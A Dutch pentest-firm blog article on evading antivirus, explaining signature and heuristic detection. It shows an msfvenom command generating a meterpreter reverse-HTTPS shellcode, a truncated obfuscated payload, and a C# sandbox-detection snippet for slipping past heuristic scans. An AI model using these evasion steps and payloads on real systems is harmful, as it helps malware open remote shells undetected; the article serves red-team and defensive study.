Tijdens het uitvoeren van Red Teaming, Phishing en Interne Pentest onderzoeken komen we regelmatig in omgevingen waar antivirusprogramma’s draaien. Dit kan ervoor zorgen dat het verkrijgen van toegang middels een simpele payload wordt geblokkeerd. Payloads zijn scripts die aanvallers gebruiken om te communiceren met een gehackt systeem. Dit kunnen geavanceerde payloads zijn die het doelwit verbinden met een C2 infrastructuur, of het kunnen simpele reverse shells zijn.

In dit artikel wordt uitgelegd hoe antivirussoftware kan worden omzeilt, om ook geavanceerdere payloads uit te kunnen voeren.

Wat is antivirus?

Antivirus is software dat wordt gebruikt om virussen op een computer te voorkomen, scannen, detecteren en verwijderen. Na installatie wordt de meeste antivirussoftware automatisch op de achtergrond uitgevoerd om realtime bescherming te bieden tegen virusaanvallen.

Hoe werkt antivirus?

Om een antivirus te omzeilen, is het van belang om eerst te weten hoe deze in de basis werkt.

Meestal werkt antivirussoftware met twee detectiesystemen, namelijk: signature-based detection en heuristic-based detection. Om te weten hoe specifieke antivirussoftware exact werkt, kan deze onderzocht worden middels reverse engineering. Vaak is dit niet nodig om detectie te omzeilen, aangezien de meeste commerciële antivirussoftware vergelijkbare detectiemethoden gebruiken.

Signature-based detection

Signature-based detection is de meest gebruikte en traditionele manier om bedreigingen te detecteren. Vroeger was dit de enige methode die werd toegepast om virussen te detecteren. Aangezien dit vrij makkelijk te omzeilen is door aanvallers, wordt het nu veelal in combinatie met andere detectiemethoden gebruikt, zoals heuristic-based detection.

Signature-based detection detecteert bedreigingen door onderdelen of een geheel programma te vergelijken met een database waarin bekende bedreigingen worden bijgehouden. Zodra een nieuwe virus- of malware variant wordt ontdekt, maakt de antivirusleverancier een nieuwe signature en wordt deze opgeslagen in de database. Vervolgens is het mogelijk om op basis van deze signature bescherming te bieden tegen dit specifieke stukje malware. Ook wordt er gekeken naar statische instructies die vaak worden gebruikt in malware.

Heuristic-based detection

Heuristic-based detection detecteert bedreigingen door het gedrag van het programma te toetsen. Dit wordt gedaan in een zogenaamde “sandbox omgeving”. Hier wordt het programma in gedraaid en zodra het programma dubieuze acties uitvoert, wordt het beëindigd en verwijderd.

Antivirussoftware omzeilen is een kat en muis spel

Antivirussoftware wordt constant bijgewerkt. Er worden dagelijks wel honderden nieuwe bedreigen toegevoegd aan de databases waar deze software uit put. Hierdoor moeten malwareschrijvers constant nieuwe methodes bedenken om detectie te omzeilen. De theorie van detectie blijft vaak hetzelfde, daarom is het zaak om kleine wijzigingen in de malware code aan te brengen, om feitelijk hetzelfde doel te bereiken.

Signature-based detection omzeilen

Om signature-based detection te omzeilen, moet het bestand zodanig worden aangepast dat de blacklisted signatures niet meer overeenkomen. Als er functies in de code zitten die bekend zijn in de signature databases, moet dit vervangen worden met een andere functie om hetzelfde te bereiken. Ook moeten functies niet te vaak worden aangeroepen. In sommige gevallen is een specifieke functie niet blacklisted wanneer deze één keer wordt aangeroepen, maar wel wanneer deze meerdere keren achter elkaar wordt aangeroepen.

De codebase en payload moet obfuscated worden. Dit houdt in dat er geen functienamen worden gebruikt die potentieel kunnen weggeven dat het script een malware is. Dus woorden als “payload runner”, “reverse shell”, “malware” en dergelijke strings moeten vervangen worden met willekeurige woorden. Hetzelfde geldt voor standaard functies in programmeertalen die vaak gebruikt worden om malware te draaien. Deze kunnen bijvoorbeeld verpakt worden in een custom functie.

Signature-based detection is vaak makkelijk te omzeilen door obfuscation te gebruiken in de malware code. Hieronder is een voorbeeld te zien van een meterpreter payload welke is ge-obfuscated.

Onbewerkte meterpreter payload:

$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=X.X.X.X LPORT=443 -f csharp
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 727 bytes
Final size of csharp file: 3715 bytes
byte[] buf = new byte[727] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x51,0x56,0x48,
0x8b,0x52,0x20,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x8b,0x72,0x50,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x41,0x51,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b...

Obfuscated meterpreter payload:

string str = "uWDLz7uKnGVTaBc8GCFhPAelaCxBC60USQLLHHsZ7QZlZXniA+kiNRtn4ScTOQK0mktYBiZvBgfog00PYpCEu...

Door signature-based detection bypasses toe te voegen aan een custom malware runner, verlagen we het detectieniveau naar 5/26 antivirusuitgevers. Dit is te zien in de afbeelding hieronder:

Heuristic-based detection omzeilen

Het omzeilen van heuristic-based detection is iets complexer. Dit kan niet gedaan worden door de malware code te obfuscaten. Om heuristic-based detection te omzeilen, moet de antivirus sandbox gedecteerd worden door de malware. Als de malware in een sandbox wordt gedraaid door de antivirus, kan de malware een exit functie aanroepen en het programma stoppen. Voor een antivirus ziet dat er niet verdacht uit, omdat de malware zelf dan nooit gedraaid wordt in de sandbox. Als de malware gedraaid wordt op een normale machine, dan wordt de malware wel uitgevoerd.

Ook moet het gedrag van de malware zo “normaal” mogelijk zijn. Dus er moeten geen bestanden worden achtergelaten op de harde schijf, het moet compleet in-memory draaien en het moet verborgen zijn. Daarnaast is het van belang dat het netwerkverkeer niet afwijkt van de rest van het normale netwerkverkeer. Dat kan ervoor zorgen dat het wordt geblokkeerd door een firewall.

Een manier om een sandbox te detecteren is door gebruik te maken van non-emulated windows API’s. Non-emulated API’s kunnen niet draaien in geëmuleerde omgeving, zoals in de sandbox omgeving van de antivirussoftware, waarin de heuristic tests worden uitgevoerd. Middels onderstaande snippet is het mogelijk om een sandbox te detecteren en de heuristic tests te omzeilen:

IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
            
if (mem == null)
{
    return;
}

Er zijn publiekelijk beschikbare programma’s om non-emulated API’s te “fuzzen”, bijvoorbeeld: https://github.com/jackullrich/Windows-API-Fuzzer

Conclusie Antivirus omzeilen

Voor onze Pentest werkzaamheden bij Onvio ontwikkelen we malware op maat die niet gedetecteerd wordt door antivirussoftware. Het onderstaande screenshot toont dat de software niet gedetecteerd wordt door de verschillende vendoren/detectiemechanismen en dat er een externe verbinding met een gecompromitteerd systeem op het netwerk is opgezet. Het onderstaande screenshot is een combinatie van signature-based en heuristic-based detection bypasses, dit resulteert in 0/26 detectie door antivirusuitgevers:

Antivirus omzeilen voor Pentest

Door de malware te draaien op een up-to-date systeem, met een laatste versie antivirus, resulteert het in een systeemcompromisnatie: